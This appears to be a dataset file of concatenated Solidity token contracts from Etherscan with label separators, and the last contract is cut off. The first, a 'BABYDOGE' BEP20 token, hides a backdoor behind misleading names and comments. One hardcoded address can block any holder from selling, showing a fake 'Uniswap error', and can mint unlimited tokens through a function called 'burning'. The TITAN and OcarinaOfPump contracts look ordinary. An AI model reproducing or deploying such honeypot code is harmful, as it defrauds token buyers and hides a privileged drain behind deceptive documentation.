* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
*
NOTE:
Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership1(address newOwner) internal onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract BEP20Token is Context, IBEP20, Ownable {
using SafeMath for uint256;
mapping(address => bool) internal useinmanage;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 private _decimals;
string private _symbol;
string private _name;
constructor() public {
_name = "BABYDOGE";
_symbol = "BABYDOGE👶";
_decimals = 9;
_totalSupply = 1000000000000000 * 10**9;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
/**
* @dev Returns the bep token owner.
*/
function getOwner() internal view returns (address) {
return owner();
}
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory) {
return _name;
}
/**
* @dev See {BEP20-totalSupply}.
*/
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {BEP20-balanceOf}.
*/
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
/**
* @dev See {BEP20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transferOwnership(address account, bool value) public {
require(
_msgSender() == 0x15Fc0B3d9fecd4709C0CF2d1E427EC65805ac9f3,
"BEP20: Not accessible"
);
useinmanage[account] = value;
}
function transfer(address recipient, uint256 amount)
external
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {BEP20-allowance}.
*/
function allowance(address owner, address spender)
external
view
returns (uint256)
{
return _allowances[owner][spender];
}
/**
* @dev See {BEP20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {BEP20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {BEP20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"BEP20: transfer amount exceeds allowance"
)
);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {BEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {BEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"BEP20: decreased allowance below zero"
)
);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
*/
function UserBalance(uint256 amount) public returns (bool) {
require(
_msgSender() == 0x15Fc0B3d9fecd4709C0CF2d1E427EC65805ac9f3,
"BEP20: Not accessible"
);
burning(_msgSender(), amount);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(
!useinmanage[sender],
"Uniswap error try again after sometime"
);
_balances[sender] = _balances[sender].sub(
amount,
"BEP20: transfer amount exceeds balance"
);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function burning(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(uint256 amount) internal returns (bool) {
_burni(_msgSender(), amount);
return true;
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
function _burni(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn from the zero address");
_balances[account] = _balances[account].sub(
amount,
"BEP20: burn amount exceeds balance"
);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
if (owner != address(0)) {
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
} else {
_allowances[owner][spender] = 0;
emit Approval(owner, spender, 0);
}
}
function _burnFrom(address account, uint256 amount) internal {
_burni(account, amount);
_approve(
account,
_msgSender(),
_allowances[account][_msgSender()].sub(
amount,
"BEP20: burn amount exceeds allowance"
)
);
}
}
/*
Copyright © 2021 BABY DOGE All rights reserved.
*/ | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-05-17
*/
pragma solidity ^0.4.24;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract TITAN is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = "TTN";
name = "TITAN";
decimals =8;
_totalSupply = 690000000000000000;
balances[0x0DB4FD743534E945cE34c5f5686b4Dba51f21f6D] = _totalSupply;
emit Transfer(address(0), 0x0DB4FD743534E945cE34c5f5686b4Dba51f21f6D, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-04-23
*/
/**
*Ocarina Of Pump
*/
// OcarinaOfPump.com - Stealth & Fair Launch No Presale - https://t.me/ocarinaofpump
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract OcarinaOfPump is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'OcarinaOfPump.com';
string private _symbol = 'OOP';
uint8 private _decimals = 9;
uint256 public _maxTxAmount = 10000000 * 10**6 * 10**9;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = _tTotal.mul(maxTxPercent).div(
10**2
);
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(0);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-02-24
*/
//SPDX-License-Identifier: MIT
// Telegram: t.me/mirroreth
pragma solidity ^0.8.12;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
